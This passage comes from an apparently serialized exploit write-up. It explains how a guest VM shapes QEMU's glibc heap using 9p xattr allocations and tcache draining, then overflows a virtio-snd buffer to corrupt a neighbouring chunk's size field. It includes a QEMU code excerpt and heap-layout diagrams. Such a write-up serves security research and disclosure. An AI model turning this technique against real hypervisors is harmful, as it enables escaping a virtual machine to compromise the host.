name;\n",{"type":22,"tag":118,"props":129656,"children":129657},{"class":120,"line":318},[129658,129662,129667,129671,129676],{"type":22,"tag":118,"props":129659,"children":129660},{"style":146},[129661],{"type":28,"value":18531},{"type":22,"tag":118,"props":129663,"children":129664},{"style":125},[129665],{"type":28,"value":129666}," offset ",{"type":22,"tag":118,"props":129668,"children":129669},{"style":210},[129670],{"type":28,"value":282},{"type":22,"tag":118,"props":129672,"children":129673},{"style":674},[129674],{"type":28,"value":129675}," 7",{"type":22,"tag":118,"props":129677,"children":129678},{"style":125},[129679],{"type":28,"value":801},{"type":22,"tag":118,"props":129681,"children":129682},{"class":120,"line":351},[129683,129688,129692],{"type":22,"tag":118,"props":129684,"children":129685},{"style":125},[129686],{"type":28,"value":129687},"    V9fsFidState ",{"type":22,"tag":118,"props":129689,"children":129690},{"style":210},[129691],{"type":28,"value":671},{"type":22,"tag":118,"props":129693,"children":129694},{"style":125},[129695],{"type":28,"value":129696},"file_fidp;\n",{"type":22,"tag":118,"props":129698,"children":129699},{"class":120,"line":359},[129700,129704,129708],{"type":22,"tag":118,"props":129701,"children":129702},{"style":125},[129703],{"type":28,"value":129687},{"type":22,"tag":118,"props":129705,"children":129706},{"style":210},[129707],{"type":28,"value":671},{"type":22,"tag":118,"props":129709,"children":129710},{"style":125},[129711],{"type":28,"value":129712},"xattr_fidp;\n",{"type":22,"tag":118,"props":129714,"children":129715},{"class":120,"line":368},[129716,129721,129725,129730,129734],{"type":22,"tag":118,"props":129717,"children":129718},{"style":125},[129719],{"type":28,"value":129720},"    V9fsPDU ",{"type":22,"tag":118,"props":129722,"children":129723},{"style":210},[129724],{"type":28,"value":671},{"type":22,"tag":118,"props":129726,"children":129727},{"style":125},[129728],{"type":28,"value":129729},"pdu ",{"type":22,"tag":118,"props":129731,"children":129732},{"style":210},[129733],{"type":28,"value":282},{"type":22,"tag":118,"props":129735,"children":129736},{"style":125},[129737],{"type":28,"value":129738}," opaque;\n",{"type":22,"tag":118,"props":129740,"children":129741},{"class":120,"line":384},[129742],{"type":22,"tag":118,"props":129743,"children":129744},{"emptyLinePlaceholder":15},[129745],{"type":28,"value":250},{"type":22,"tag":118,"props":129747,"children":129748},{"class":120,"line":417},[129749,129754,129758,129762],{"type":22,"tag":118,"props":129750,"children":129751},{"style":532},[129752],{"type":28,"value":129753},"    v9fs_string_init",{"type":22,"tag":118,"props":129755,"children":129756},{"style":125},[129757],{"type":28,"value":540},{"type":22,"tag":118,"props":129759,"children":129760},{"style":210},[129761],{"type":28,"value":1407},{"type":22,"tag":118,"props":129763,"children":129764},{"style":125},[129765],{"type":28,"value":129766},"name);\n",{"type":22,"tag":118,"props":129768,"children":129769},{"class":120,"line":425},[129770,129775,129779,129784,129789,129794,129798,129802,129807,129811,129816,129820,129824,129828],{"type":22,"tag":118,"props":129771,"children":129772},{"style":125},[129773],{"type":28,"value":129774},"    err ",{"type":22,"tag":118,"props":129776,"children":129777},{"style":210},[129778],{"type":28,"value":282},{"type":22,"tag":118,"props":129780,"children":129781},{"style":532},[129782],{"type":28,"value":129783}," pdu_unmarshal",{"type":22,"tag":118,"props":129785,"children":129786},{"style":125},[129787],{"type":28,"value":129788},"(pdu, offset, ",{"type":22,"tag":118,"props":129790,"children":129791},{"style":1866},[129792],{"type":28,"value":129793},"\"dsqd\"",{"type":22,"tag":118,"props":129795,"children":129796},{"style":125},[129797],{"type":28,"value":231},{"type":22,"tag":118,"props":129799,"children":129800},{"style":210},[129801],{"type":28,"value":1407},{"type":22,"tag":118,"props":129803,"children":129804},{"style":125},[129805],{"type":28,"value":129806},"fid, ",{"type":22,"tag":118,"props":129808,"children":129809},{"style":210},[129810],{"type":28,"value":1407},{"type":22,"tag":118,"props":129812,"children":129813},{"style":125},[129814],{"type":28,"value":129815},"name, ",{"type":22,"tag":118,"props":129817,"children":129818},{"style":210},[129819],{"type":28,"value":1407},{"type":22,"tag":118,"props":129821,"children":129822},{"style":125},[129823],{"type":28,"value":128566},{"type":22,"tag":118,"props":129825,"children":129826},{"style":210},[129827],{"type":28,"value":1407},{"type":22,"tag":118,"props":129829,"children":129830},{"style":125},[129831],{"type":28,"value":129832},"flags);\n",{"type":22,"tag":118,"props":129834,"children":129835},{"class":120,"line":441},[129836,129840,129845,129849,129853],{"type":22,"tag":118,"props":129837,"children":129838},{"style":1480},[129839],{"type":28,"value":2159},{"type":22,"tag":118,"props":129841,"children":129842},{"style":125},[129843],{"type":28,"value":129844}," (err ",{"type":22,"tag":118,"props":129846,"children":129847},{"style":210},[129848],{"type":28,"value":559},{"type":22,"tag":118,"props":129850,"children":129851},{"style":674},[129852],{"type":28,"value":5074},{"type":22,"tag":118,"props":129854,"children":129855},{"style":125},[129856],{"type":28,"value":16783},{"type":22,"tag":118,"props":129858,"children":129859},{"class":120,"line":475},[129860,129865],{"type":22,"tag":118,"props":129861,"children":129862},{"style":1480},[129863],{"type":28,"value":129864},"        goto",{"type":22,"tag":118,"props":129866,"children":129867},{"style":125},[129868],{"type":28,"value":129869}," out_nofid;\n",{"type":22,"tag":118,"props":129871,"children":129872},{"class":120,"line":484},[129873],{"type":22,"tag":118,"props":129874,"children":129875},{"style":125},[129876],{"type":28,"value":1254},{"type":22,"tag":118,"props":129878,"children":129879},{"class":120,"line":492},[129880],{"type":22,"tag":118,"props":129881,"children":129882},{"emptyLinePlaceholder":15},[129883],{"type":28,"value":250},{"type":22,"tag":118,"props":129885,"children":129886},{"class":120,"line":501},[129887],{"type":22,"tag":118,"props":129888,"children":129889},{"style":125},[129890],{"type":28,"value":106397},{"type":22,"tag":118,"props":129892,"children":129893},{"class":120,"line":519},[129894],{"type":22,"tag":118,"props":129895,"children":129896},{"emptyLinePlaceholder":15},[129897],{"type":28,"value":250},{"type":22,"tag":118,"props":129899,"children":129900},{"class":120,"line":606},[129901,129905,129909,129913],{"type":22,"tag":118,"props":129902,"children":129903},{"style":1480},[129904],{"type":28,"value":2159},{"type":22,"tag":118,"props":129906,"children":129907},{"style":125},[129908],{"type":28,"value":128667},{"type":22,"tag":118,"props":129910,"children":129911},{"style":210},[129912],{"type":28,"value":12460},{"type":22,"tag":118,"props":129914,"children":129915},{"style":125},[129916],{"type":28,"value":129917}," P9_XATTR_SIZE_MAX) {\n",{"type":22,"tag":118,"props":129919,"children":129920},{"class":120,"line":615},[129921,129926,129930,129934],{"type":22,"tag":118,"props":129922,"children":129923},{"style":125},[129924],{"type":28,"value":129925},"        err ",{"type":22,"tag":118,"props":129927,"children":129928},{"style":210},[129929],{"type":28,"value":282},{"type":22,"tag":118,"props":129931,"children":129932},{"style":210},[129933],{"type":28,"value":53196},{"type":22,"tag":118,"props":129935,"children":129936},{"style":125},[129937],{"type":28,"value":129938},"E2BIG;\n",{"type":22,"tag":118,"props":129940,"children":129941},{"class":120,"line":685},[129942,129946],{"type":22,"tag":118,"props":129943,"children":129944},{"style":1480},[129945],{"type":28,"value":129864},{"type":22,"tag":118,"props":129947,"children":129948},{"style":125},[129949],{"type":28,"value":129869},{"type":22,"tag":118,"props":129951,"children":129952},{"class":120,"line":699},[129953],{"type":22,"tag":118,"props":129954,"children":129955},{"style":125},[129956],{"type":28,"value":1254},{"type":22,"tag":118,"props":129958,"children":129959},{"class":120,"line":729},[129960],{"type":22,"tag":118,"props":129961,"children":129962},{"emptyLinePlaceholder":15},[129963],{"type":28,"value":250},{"type":22,"tag":118,"props":129965,"children":129966},{"class":120,"line":771},[129967],{"type":22,"tag":118,"props":129968,"children":129969},{"style":125},[129970],{"type":28,"value":106397},{"type":22,"tag":118,"props":129972,"children":129973},{"class":120,"line":785},[129974],{"type":22,"tag":118,"props":129975,"children":129976},{"emptyLinePlaceholder":15},[129977],{"type":28,"value":250},{"type":22,"tag":118,"props":129979,"children":129980},{"class":120,"line":804},[129981,129985,129989,129993,129998,130002,130006,130010,130015,130019,130023],{"type":22,"tag":118,"props":129982,"children":129983},{"style":532},[129984],{"type":28,"value":129753},{"type":22,"tag":118,"props":129986,"children":129987},{"style":125},[129988],{"type":28,"value":540},{"type":22,"tag":118,"props":129990,"children":129991},{"style":210},[129992],{"type":28,"value":1407},{"type":22,"tag":118,"props":129994,"children":129995},{"style":204},[129996],{"type":28,"value":129997},"xattr_fidp",{"type":22,"tag":118,"props":129999,"children":130000},{"style":125},[130001],{"type":28,"value":593},{"type":22,"tag":118,"props":130003,"children":130004},{"style":204},[130005],{"type":28,"value":38923},{"type":22,"tag":118,"props":130007,"children":130008},{"style":125},[130009],{"type":28,"value":292},{"type":22,"tag":118,"props":130011,"children":130012},{"style":204},[130013],{"type":28,"value":130014},"xattr",{"type":22,"tag":118,"props":130016,"children":130017},{"style":125},[130018],{"type":28,"value":292},{"type":22,"tag":118,"props":130020,"children":130021},{"style":204},[130022],{"type":28,"value":50438},{"type":22,"tag":118,"props":130024,"children":130025},{"style":125},[130026],{"type":28,"value":682},{"type":22,"tag":118,"props":130028,"children":130029},{"class":120,"line":812},[130030,130035,130039,130043,130047,130051,130055,130059,130063,130067,130071,130075,130079],{"type":22,"tag":118,"props":130031,"children":130032},{"style":532},[130033],{"type":28,"value":130034},"    v9fs_string_copy",{"type":22,"tag":118,"props":130036,"children":130037},{"style":125},[130038],{"type":28,"value":540},{"type":22,"tag":118,"props":130040,"children":130041},{"style":210},[130042],{"type":28,"value":1407},{"type":22,"tag":118,"props":130044,"children":130045},{"style":204},[130046],{"type":28,"value":129997},{"type":22,"tag":118,"props":130048,"children":130049},{"style":125},[130050],{"type":28,"value":593},{"type":22,"tag":118,"props":130052,"children":130053},{"style":204},[130054],{"type":28,"value":38923},{"type":22,"tag":118,"props":130056,"children":130057},{"style":125},[130058],{"type":28,"value":292},{"type":22,"tag":118,"props":130060,"children":130061},{"style":204},[130062],{"type":28,"value":130014},{"type":22,"tag":118,"props":130064,"children":130065},{"style":125},[130066],{"type":28,"value":292},{"type":22,"tag":118,"props":130068,"children":130069},{"style":204},[130070],{"type":28,"value":50438},{"type":22,"tag":118,"props":130072,"children":130073},{"style":125},[130074],{"type":28,"value":231},{"type":22,"tag":118,"props":130076,"children":130077},{"style":210},[130078],{"type":28,"value":1407},{"type":22,"tag":118,"props":130080,"children":130081},{"style":125},[130082],{"type":28,"value":129766},{"type":22,"tag":118,"props":130084,"children":130085},{"class":120,"line":821},[130086,130091,130095,130099,130103,130107,130111,130115,130119,130123],{"type":22,"tag":118,"props":130087,"children":130088},{"style":204},[130089],{"type":28,"value":130090},"    xattr_fidp",{"type":22,"tag":118,"props":130092,"children":130093},{"style":125},[130094],{"type":28,"value":593},{"type":22,"tag":118,"props":130096,"children":130097},{"style":204},[130098],{"type":28,"value":38923},{"type":22,"tag":118,"props":130100,"children":130101},{"style":125},[130102],{"type":28,"value":292},{"type":22,"tag":118,"props":130104,"children":130105},{"style":204},[130106],{"type":28,"value":130014},{"type":22,"tag":118,"props":130108,"children":130109},{"style":125},[130110],{"type":28,"value":292},{"type":22,"tag":118,"props":130112,"children":130113},{"style":204},[130114],{"type":28,"value":41093},{"type":22,"tag":118,"props":130116,"children":130117},{"style":210},[130118],{"type":28,"value":837},{"type":22,"tag":118,"props":130120,"children":130121},{"style":532},[130122],{"type":28,"value":125769},{"type":22,"tag":118,"props":130124,"children":130125},{"style":125},[130126],{"type":28,"value":130127},"(size);\n",{"type":22,"tag":118,"props":130129,"children":130130},{"class":120,"line":900},[130131],{"type":22,"tag":118,"props":130132,"children":130133},{"style":125},[130134],{"type":28,"value":481},{"type":22,"tag":31,"props":130136,"children":130137},{},[130138,130140,130145,130147,130152,130153,130158,130160,130165],{"type":28,"value":130139},"Because the ",{"type":22,"tag":114,"props":130141,"children":130143},{"className":130142},[],[130144],{"type":28,"value":129501},{"type":28,"value":130146}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":22,"tag":114,"props":130148,"children":130150},{"className":130149},[],[130151],{"type":28,"value":129501},{"type":28,"value":12991},{"type":22,"tag":114,"props":130154,"children":130156},{"className":130155},[],[130157],{"type":28,"value":129508},{"type":28,"value":130159},", not just the ",{"type":22,"tag":114,"props":130161,"children":130163},{"className":130162},[],[130164],{"type":28,"value":129508},{"type":28,"value":130166}," we actually care about. But we will get around this later in the blog post.",{"type":22,"tag":31,"props":130168,"children":130169},{},[130170,130171,130176],{"type":28,"value":2743},{"type":22,"tag":114,"props":130172,"children":130174},{"className":130173},[],[130175],{"type":28,"value":129508},{"type":28,"value":130177}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":22,"tag":31,"props":130179,"children":130180},{},[130181,130183,130188,130190,130196,130198,130204,130206,130212],{"type":28,"value":130182},"Once allocated, we can write arbitrary bytes into the ",{"type":22,"tag":114,"props":130184,"children":130186},{"className":130185},[],[130187],{"type":28,"value":129508},{"type":28,"value":130189}," buffer through a ",{"type":22,"tag":114,"props":130191,"children":130193},{"className":130192},[],[130194],{"type":28,"value":130195},"P9_TWRITE",{"type":28,"value":130197}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":22,"tag":114,"props":130199,"children":130201},{"className":130200},[],[130202],{"type":28,"value":130203},"P9_TREAD",{"type":28,"value":130205},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":22,"tag":114,"props":130207,"children":130209},{"className":130208},[],[130210],{"type":28,"value":130211},"P9_TCLUNK",{"type":28,"value":130213}," request on that same FID.",{"type":22,"tag":31,"props":130215,"children":130216},{},[130217,130219,130225],{"type":28,"value":130218},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":22,"tag":114,"props":130220,"children":130222},{"className":130221},[],[130223],{"type":28,"value":130224},"65536",{"type":28,"value":130226}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":22,"tag":1289,"props":130228,"children":130230},{"id":130229},"setting-the-heap-layout",[130231],{"type":28,"value":130232},"Setting the Heap Layout",{"type":22,"tag":31,"props":130234,"children":130235},{},[130236,130238,130243],{"type":28,"value":130237},"Ideally, we want a contiguous heap region consisting only of ",{"type":22,"tag":114,"props":130239,"children":130241},{"className":130240},[],[130242],{"type":28,"value":129508},{"type":28,"value":130244}," allocations, like this:",{"type":22,"tag":107,"props":130246,"children":130248},{"code":130247},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130249],{"type":22,"tag":114,"props":130250,"children":130251},{"__ignoreMap":7},[130252],{"type":28,"value":130247},{"type":22,"tag":31,"props":130254,"children":130255},{},[130256,130258,130263,130265,130270,130272,130277],{"type":28,"value":130257},"This lets us later create holes by freeing every other ",{"type":22,"tag":114,"props":130259,"children":130261},{"className":130260},[],[130262],{"type":28,"value":129508},{"type":28,"value":130264}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":22,"tag":114,"props":130266,"children":130268},{"className":130267},[],[130269],{"type":28,"value":125856},{"type":28,"value":130271}," field of the next live ",{"type":22,"tag":114,"props":130273,"children":130275},{"className":130274},[],[130276],{"type":28,"value":129508},{"type":28,"value":130278}," chunk.",{"type":22,"tag":31,"props":130280,"children":130281},{},[130282],{"type":28,"value":130283},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":22,"tag":31,"props":130285,"children":130286},{},[130287,130289,130294,130296,130301,130303,130308,130310,130315],{"type":28,"value":130288},"As mentioned earlier, ",{"type":22,"tag":114,"props":130290,"children":130292},{"className":130291},[],[130293],{"type":28,"value":129545},{"type":28,"value":130295}," always allocates two chunks: one for ",{"type":22,"tag":114,"props":130297,"children":130299},{"className":130298},[],[130300],{"type":28,"value":129501},{"type":28,"value":130302}," and one for ",{"type":22,"tag":114,"props":130304,"children":130306},{"className":130305},[],[130307],{"type":28,"value":129508},{"type":28,"value":130309},". We want to avoid having ",{"type":22,"tag":114,"props":130311,"children":130313},{"className":130312},[],[130314],{"type":28,"value":129501},{"type":28,"value":130316}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":22,"tag":4029,"props":130318,"children":130319},{},[130320,130332],{"type":22,"tag":68,"props":130321,"children":130322},{},[130323,130325,130330],{"type":28,"value":130324},"Make ",{"type":22,"tag":114,"props":130326,"children":130328},{"className":130327},[],[130329],{"type":28,"value":129501},{"type":28,"value":130331}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":22,"tag":68,"props":130333,"children":130334},{},[130335,130337,130342,130344,130349,130351,130356],{"type":28,"value":130336},"Prepare a separate region whose sole purpose is to absorb ",{"type":22,"tag":114,"props":130338,"children":130340},{"className":130339},[],[130341],{"type":28,"value":129501},{"type":28,"value":130343},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":22,"tag":114,"props":130345,"children":130347},{"className":130346},[],[130348],{"type":28,"value":129501},{"type":28,"value":130350}," allocations from that separate freelist instead of placing them next to our ",{"type":22,"tag":114,"props":130352,"children":130354},{"className":130353},[],[130355],{"type":28,"value":129508},{"type":28,"value":130357}," chunks.",{"type":22,"tag":1899,"props":130359,"children":130361},{"id":130360},"separating-name-allocations",[130362],{"type":28,"value":130363},"Separating .name allocations",{"type":22,"tag":31,"props":130365,"children":130366},{},[130367,130369,130374,130376,130381],{"type":28,"value":130368},"We chose the second option. However, it is not as simple as issuing ",{"type":22,"tag":114,"props":130370,"children":130372},{"className":130371},[],[130373],{"type":28,"value":129545},{"type":28,"value":130375}," for N ",{"type":22,"tag":114,"props":130377,"children":130379},{"className":130378},[],[130380],{"type":28,"value":129501},{"type":28,"value":130382},"-sized allocations and then freeing them.",{"type":22,"tag":31,"props":130384,"children":130385},{},[130386,130388,130393,130394,130399,130400,130405,130407,130412,130414,130419],{"type":28,"value":130387},"At this point, we already know that ",{"type":22,"tag":114,"props":130389,"children":130391},{"className":130390},[],[130392],{"type":28,"value":129545},{"type":28,"value":130295},{"type":22,"tag":114,"props":130395,"children":130397},{"className":130396},[],[130398],{"type":28,"value":129501},{"type":28,"value":130302},{"type":22,"tag":114,"props":130401,"children":130403},{"className":130402},[],[130404],{"type":28,"value":129508},{"type":28,"value":130406},". If we simply call it with ",{"type":22,"tag":114,"props":130408,"children":130410},{"className":130409},[],[130411],{"type":28,"value":129508},{"type":28,"value":130413}," sized the same as ",{"type":22,"tag":114,"props":130415,"children":130417},{"className":130416},[],[130418],{"type":28,"value":129501},{"type":28,"value":130420},", we get a layout like this:",{"type":22,"tag":107,"props":130422,"children":130424},{"code":130423},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130425],{"type":22,"tag":114,"props":130426,"children":130427},{"__ignoreMap":7},[130428],{"type":28,"value":130423},{"type":22,"tag":31,"props":130430,"children":130431},{},[130432,130434,130439,130441,130447,130449,130455,130457,130462,130464,130469,130471,130476],{"type":28,"value":130433},"With that heap state, issuing a ",{"type":22,"tag":114,"props":130435,"children":130437},{"className":130436},[],[130438],{"type":28,"value":130211},{"type":28,"value":130440}," request would first free ",{"type":22,"tag":114,"props":130442,"children":130444},{"className":130443},[],[130445],{"type":28,"value":130446},".name A",{"type":28,"value":130448}," and then ",{"type":22,"tag":114,"props":130450,"children":130452},{"className":130451},[],[130453],{"type":28,"value":130454},".value A",{"type":28,"value":130456},". When ",{"type":22,"tag":114,"props":130458,"children":130460},{"className":130459},[],[130461],{"type":28,"value":130454},{"type":28,"value":130463}," is freed, the allocator sees that the preceding chunk ",{"type":22,"tag":114,"props":130465,"children":130467},{"className":130466},[],[130468],{"type":28,"value":130446},{"type":28,"value":130470}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":22,"tag":114,"props":130472,"children":130474},{"className":130473},[],[130475],{"type":28,"value":129501},{"type":28,"value":130477},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":22,"tag":31,"props":130479,"children":130480},{},[130481],{"type":28,"value":130482},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":22,"tag":31,"props":130484,"children":130485},{},[130486,130488,130493,130495,130500,130502,130507,130509,130515,130517,130522,130524,130530],{"type":28,"value":130487},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":22,"tag":114,"props":130489,"children":130491},{"className":130490},[],[130492],{"type":28,"value":129501},{"type":28,"value":130494}," allocation remains fixed at size ",{"type":22,"tag":114,"props":130496,"children":130498},{"className":130497},[],[130499],{"type":28,"value":106663},{"type":28,"value":130501},". We first allocate 16 xattrs whose ",{"type":22,"tag":114,"props":130503,"children":130505},{"className":130504},[],[130506],{"type":28,"value":129508},{"type":28,"value":130508}," size is ",{"type":22,"tag":114,"props":130510,"children":130512},{"className":130511},[],[130513],{"type":28,"value":130514},"0x30",{"type":28,"value":130516},". After that, we allocate another 16 xattrs, this time with ",{"type":22,"tag":114,"props":130518,"children":130520},{"className":130519},[],[130521],{"type":28,"value":129508},{"type":28,"value":130523}," size ",{"type":22,"tag":114,"props":130525,"children":130527},{"className":130526},[],[130528],{"type":28,"value":130529},"0x40",{"type":28,"value":130531},", and continue in the same way for each tcache size class.",{"type":22,"tag":31,"props":130533,"children":130534},{},[130535],{"type":28,"value":130536},"This yields the following layout:",{"type":22,"tag":107,"props":130538,"children":130540},{"code":130539},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[130541],{"type":22,"tag":114,"props":130542,"children":130543},{"__ignoreMap":7},[130544],{"type":28,"value":130539},{"type":22,"tag":31,"props":130546,"children":130547},{},[130548,130550,130555,130557,130562,130564,130569,130571,130576,130578,130583,130585,130590,130591,130596,130598,130603,130605,130610,130612,130617,130619,130624,130626,130631],{"type":28,"value":130549},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":22,"tag":114,"props":130551,"children":130553},{"className":130552},[],[130554],{"type":28,"value":129501},{"type":28,"value":130556}," chunks end up in the ",{"type":22,"tag":114,"props":130558,"children":130560},{"className":130559},[],[130561],{"type":28,"value":106663},{"type":28,"value":130563}," tcache bin, along with the interleaved ",{"type":22,"tag":114,"props":130565,"children":130567},{"className":130566},[],[130568],{"type":28,"value":129508},{"type":28,"value":130570}," chunks of size ",{"type":22,"tag":114,"props":130572,"children":130574},{"className":130573},[],[130575],{"type":28,"value":130514},{"type":28,"value":130577},". The next 16 ",{"type":22,"tag":114,"props":130579,"children":130581},{"className":130580},[],[130582],{"type":28,"value":129501},{"type":28,"value":130584}," chunks are interleaved with ",{"type":22,"tag":114,"props":130586,"children":130588},{"className":130587},[],[130589],{"type":28,"value":129508},{"type":28,"value":130570},{"type":22,"tag":114,"props":130592,"children":130594},{"className":130593},[],[130595],{"type":28,"value":130529},{"type":28,"value":130597},"; when freed, those ",{"type":22,"tag":114,"props":130599,"children":130601},{"className":130600},[],[130602],{"type":28,"value":129508},{"type":28,"value":130604}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":22,"tag":114,"props":130606,"children":130608},{"className":130607},[],[130609],{"type":28,"value":129501},{"type":28,"value":130611}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":22,"tag":114,"props":130613,"children":130615},{"className":130614},[],[130616],{"type":28,"value":129501},{"type":28,"value":130618},"-sized chunks that will later be served to the ",{"type":22,"tag":114,"props":130620,"children":130622},{"className":130621},[],[130623],{"type":28,"value":129501},{"type":28,"value":130625}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":22,"tag":114,"props":130627,"children":130629},{"className":130628},[],[130630],{"type":28,"value":129508},{"type":28,"value":130357},{"type":22,"tag":1289,"props":130633,"children":130635},{"id":130634},"corrupting-the-size",[130636],{"type":28,"value":130637},"Corrupting the Size",{"type":22,"tag":31,"props":130639,"children":130640},{},[130641,130643,130648,130650,130655,130657,130662,130664,130669,130670,130675],{"type":28,"value":130642},"The input format is guest-controlled, and we choose ",{"type":22,"tag":114,"props":130644,"children":130646},{"className":130645},[],[130647],{"type":28,"value":5439},{"type":28,"value":130649}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":22,"tag":114,"props":130651,"children":130653},{"className":130652},[],[130654],{"type":28,"value":5439},{"type":28,"value":130656}," is centered at ",{"type":22,"tag":114,"props":130658,"children":130660},{"className":130659},[],[130661],{"type":28,"value":31378},{"type":28,"value":130663}," (rather than ",{"type":22,"tag":114,"props":130665,"children":130667},{"className":130666},[],[130668],{"type":28,"value":127763},{"type":28,"value":127750},{"type":22,"tag":114,"props":130671,"children":130673},{"className":130672},[],[130674],{"type":28,"value":127741},{"type":28,"value":130676},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":22,"tag":31,"props":130678,"children":130679},{},[130680,130682,130687],{"type":28,"value":130681},"As we already concluded, ",{"type":22,"tag":114,"props":130683,"children":130685},{"className":130684},[],[130686],{"type":28,"value":127206},{"type":28,"value":130688}," is called with the amount:",{"type":22,"tag":107,"props":130690,"children":130692},{"code":130691},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[130693],{"type":22,"tag":114,"props":130694,"children":130695},{"__ignoreMap":7},[130696],{"type":28,"value":130691},{"type":22,"tag":31,"props":130698,"children":130699},{},[130700,130702,130707,130709,130714],{"type":28,"value":130701},"And as mentioned earlier, ",{"type":22,"tag":114,"props":130703,"children":130705},{"className":130704},[],[130706],{"type":28,"value":127237},{"type":28,"value":130708}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":22,"tag":114,"props":130710,"children":130712},{"className":130711},[],[130713],{"type":28,"value":125856},{"type":28,"value":60267},{"type":22,"tag":31,"props":130716,"children":130717},{},[130718,130720,130725,130727,130732],{"type":28,"value":130719},"With the desired heap layout of repeated ",{"type":22,"tag":114,"props":130721,"children":130723},{"className":130722},[],[130724],{"type":28,"value":129410},{"type":28,"value":130726},"-sized ",{"type":22,"tag":114,"props":130728,"children":130730},{"className":130729},[],[130731],{"type":28,"value":129508},{"type":28,"value":130733}," chunks in place, we can then free every other one:",{"type":22,"tag":107,"props":130735,"children":130737},{"code":130736},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[130738],{"type":22,"tag":114,"props":130739,"children":130740},{"__ignoreMap":7},[130741],{"type":28,"value":130736},{"type":22,"tag":31,"props":130743,"children":130744},{},[130745,130747,130752],{"type":28,"value":130746},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":22,"tag":114,"props":130748,"children":130750},{"className":130749},[],[130751],{"type":28,"value":129508},{"type":28,"value":130753}," chunk directly next to it:",{"type":22,"tag":107,"props":130755,"children":130757},{"code":130756},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[130758],{"type":22,"tag":114,"props":130759,"children":130760},{"__ignoreMap":7},[130761],{"type":28,"value":130756},{"type":22,"tag":31,"props":130763,"children":130764},{},[130765,130767,130772,130774,130779],{"type":28,"value":130766},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":22,"tag":114,"props":130768,"children":130770},{"className":130769},[],[130771],{"type":28,"value":129410},{"type":28,"value":130773},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":22,"tag":114,"props":130775,"children":130777},{"className":130776},[],[130778],{"type":28,"value":129508},{"type":28,"value":130780}," chunk now has a corrupted and likely oversized size field:",{"type":22,"tag":107,"props":130782,"children":130784},{"code":130783},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130785],{"type":22,"tag":114,"props":130786,"children":130787},{"__ignoreMap":7},[130788],{"type":28,"value":130783},{"type":22,"tag":31,"props":130790,"children":130791},{},[130792,130794,130799],{"type":28,"value":130793},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range 